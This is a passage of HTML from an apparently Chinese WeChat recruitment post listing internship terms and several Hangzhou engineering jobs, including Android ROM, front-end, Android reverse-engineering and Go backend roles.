leaf="">对技术保持长期热忱，高效学习研究能力。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">核心素质：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">自驱力强：能独立规划研究方向，持续跟进安全动态。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">实习物质待遇：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">薪资10,000元/月。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">实习期间没有领导，没有管理，完全自由发挥。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">转正待遇：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">起薪30,000元/月 + 月度奖金。（年薪50w起步），能力强的上不封顶。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">全额五险一金、带薪年假、项目奖金及股权激励计划。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">公司提供国内外行业最前沿研究资料及实战环境，与国内外优质资源包括但不限于人、财、物。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">简历投递：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">邮箱 liangruohan0106@163.com</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">邮件标题格式：姓名-学校-毕业年份-应聘城市（例：张三-中科大-2026届-合肥）。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">申请材料</span></strong><span leaf="">：</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">个人简历（含GPA及排名）。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">推荐奖励：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">推荐成功，奖励现金5000元/人，欢迎各位师傅推荐，自荐。</span></p></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130979" src="https://wechat2rss.xlab.app/img-proxy/?k=f2aac389&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2T4EvYpia2vkzQYZpafMgWO9baLVWg1TlavicwEwR4xDXia4UbRLAgq7CsBH6lMgEIdlXMic8fiaKy4jT98neeJZIawhyooSvb9Tuw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">07</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">杭州光年数据科技有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Android 安卓 ROM 开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：杭州</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1. 负责安卓系统的定制开发，包括系统功能改善、性能优化和用户界面更新；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2. 了解并应用google pixel手机硬件规格对系统ROM进行定制开发；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3. 处理与ROM相关的bug诊断、调试和修复工作；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4. 与团队合作，集成新的硬件支持和服务框架；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5. 在兼容性方面进行测试，确保ROM在不同型号的google pixel手机上运行流畅无误；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">6. 跟进最新的Android操作系统更新和安全补丁，保持系统的稳定性和安全性；</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">要求：</span></strong></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">计算机科学、软件工程或相关领域的本科及以上学位；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">拥有至少3年Android系统开发经验，具有google pixel手机ROM开发优先；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉Android系统架构、内核、引导程序、固件、驱动程序和ROM烧录过程；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">对google pixel手机硬件有深入了解，能根据硬件特性进行ROM优化；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟练掌握Java、C/C++等编程语言，有良好的代码编写习惯；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备良好的问题解决能力，能独立分析和修复系统级问题；</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉常用的开发和调试工具，如Git, ADB, Fastboot等；</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">加分项：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1. 有开源社区贡献经验</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2. 在硬件驱动开发或系统平台组件定制等领域有特别的专长；</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">前端开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：杭州</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.公司SAAS平台各模块的前端开发</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.部分平台以及小程序的开发</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.调研新技术、优化SAAS平台前端性能和兼容性</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职资格：</span></strong></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟练掌握HTML5、CSS3、JavaScript原生开发、W3C标准与ES规范</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉前端自动化和工程化，熟悉webpack，有TypeScript开发经验</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">React，VUE，Angular至少熟悉一种框架，掌握其原理，能独立开发常用组件</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟练使用 AI 辅助编程工具（如 Cursor, GitHub Copilot 等）</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">丰富的实践经验，能高效利用这类工具进行日常编码、代码补全、错误诊断和文档生成。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">评估方式：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">面试中将包含实际场景测试，评估候选人运用 AI 工具解决具体编码问题的效率和质量。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">加分项：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.有优秀的开源项目</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.有全栈开发经验</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.有跨端开发经验（electron\uniapp\rn\flutter）</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Android/逆向/Hook工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：杭州</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.负责安卓 APP 的逆向工作。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.负责编写 Hook 代码进行 APP 业务逻辑的复现，提供外部应用接口。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.风控对抗以及解决安卓系统环境可能存在的问题。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.不断学习和适应行业内新出现的逆向技术和工具。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职要求：</span></strong></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5年及以上安卓端逆向相关经验，良好的问题解决能力和发散思维及动手能力。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">掌握 JEB，Frida, IDA, Unidbg, AndroidNativeEmu 等逆向工具使用。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">能够熟练编写 Frida 脚本进行 Hook 以及对算法或流程进行模拟，能够熟练进行动态追踪。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">对常见 APP 有逆向经验，有实际业务应用的案例。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉 Mitmproxy 等抓包技术，对 SSL pinning 等逆向防护措施有深入了解。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉 python、golang 等任何一门后端语言。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">附加分：</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1、熟悉安卓系统底层命令及环境。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2、熟悉安卓 ROM 编译刷机及基础的功能定制修改。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3、熟练使用 Linux 命令及编写 shell 脚本。</span></p></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">后端Go开发工程师</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资面议</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：杭州</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工作职责</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.负责通过 REST API 对接两个不同的订单系统，实现订单，商品，售后数据的双向同步。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.详细分析两个系统的订单数据结构、API 文档和业务逻辑。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.设计和实现 API 接口，负责订单数据的转换、格式化和验证。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.编写高质量的代码，并进行单元测试和集成测试，确保数据同步的准确性和可靠性。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.撰写技术文档，记录开发过程、接口定义、数据映射关系和解决方</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">案。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">6.监控系统运行状态，及时解决数据同步过程中出现的错误和异常。</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">任职要求</span></strong></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">熟悉 OMS（订单管理系统）和 ERP（企业资源规划）的相关概念，理解订单生命周期和流程。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3年以上Go语言开发经验，熟练掌握Gin、Echo等主流框架。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备高并发系统开发能力熟练使用MySQL/PostgreSQL、Redis等数据库。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备数据库设计和性能优化能力。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">了解数据同步的常见方案和技术，例如消息队列、数据库同步工具等。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备良好的代码风格和文档习惯，并能够进行代码审查。</span></p></li><li><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备较强的学习能力和问题解决能力，能够独立分析问题并找到解决方案。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">加分项</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">1.有OMS/ERP/WMS系统开发或集成项目经验</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2.具备微服务架构设计和实施经验</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">3.熟悉Kubernetes、服务网格等云原生技术</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">4.有电商、零售行业业务背景</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">5.具备系统性能调优和故障排查经验</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">6.熟悉大语言模型（LLM）应用开发，有RAG、Agent等技术实践经验</span></p></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;border-style: groove;border-width: 2px;border-color: rgb(39, 47, 223);overflow: hidden;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130978" src="https://wechat2rss.xlab.app/img-proxy/?k=413631eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K3G5qVPiaAEHuXh5HAunWpl5F3icdeib3TaBYZMFpuKtAWw69MJUibniaKS78weibm8tZEU18PXpzh3ayNszzjWQiblweSqFWh6T6TTco%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">长按识别关于岗位详情及投递简历</span></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;border-style: solid;border-width: 1px;border-color: rgb(39, 47, 223);border-radius: 100%;overflow: hidden;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: justify;font-size: 11px;line-height: 1.3;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">♥</span></p></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(39, 47, 223);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130977" src="https://wechat2rss.xlab.app/img-proxy/?k=1eb4d123&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0FHlqdtWorDUTUSMUJFbhSPJicf4BGJWWCdbww55YxtbPD81FOzAjUWtvicXux0BnEFw6cusiaJCLYquXHCjVamwF9zM6Wa7VzK0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 4px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">戳下方二维码立即投递简历</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;margin: 0px;transform: rotateY(180deg);-webkit-transform: rotateY(180deg);-moz-transform: rotateY(180deg);-o-transform: rotateY(180deg);box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(39, 47, 223);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130981" src="https://wechat2rss.xlab.app/img-proxy/?k=6102e641&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1ibtfT4HNeJiaKAWiaBZQTGibgmOvMaVBtZlQZ1BQPB4Cuf8A93bntByXLibzTWNiayK6v9z5w2BacZ1PibywqUicKlINNowLib8Ao5gkk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="260" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130983" src="https://wechat2rss.xlab.app/img-proxy/?k=09886b47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2oLgs8lzar4FxYHcAwTOZchBfrHGuJzMct8VClc1aCAzvFXEPbQvZMvgGMcfJgia8YCbaI1a1hb1B9QJib3CINtLCPZ6uQSKIc8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(39, 47, 223);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130984" src="https://wechat2rss.xlab.app/img-proxy/?k=9c915292&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K14GJ5W2A2NuicvKZBgmz3ibA1ph8RA1QiapptIpghaTicFT4XZf1vBcL0XXQAyiaOotXL2icQcUiba0fic1kldspPib1hvjzMrrl89jZKs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 0px 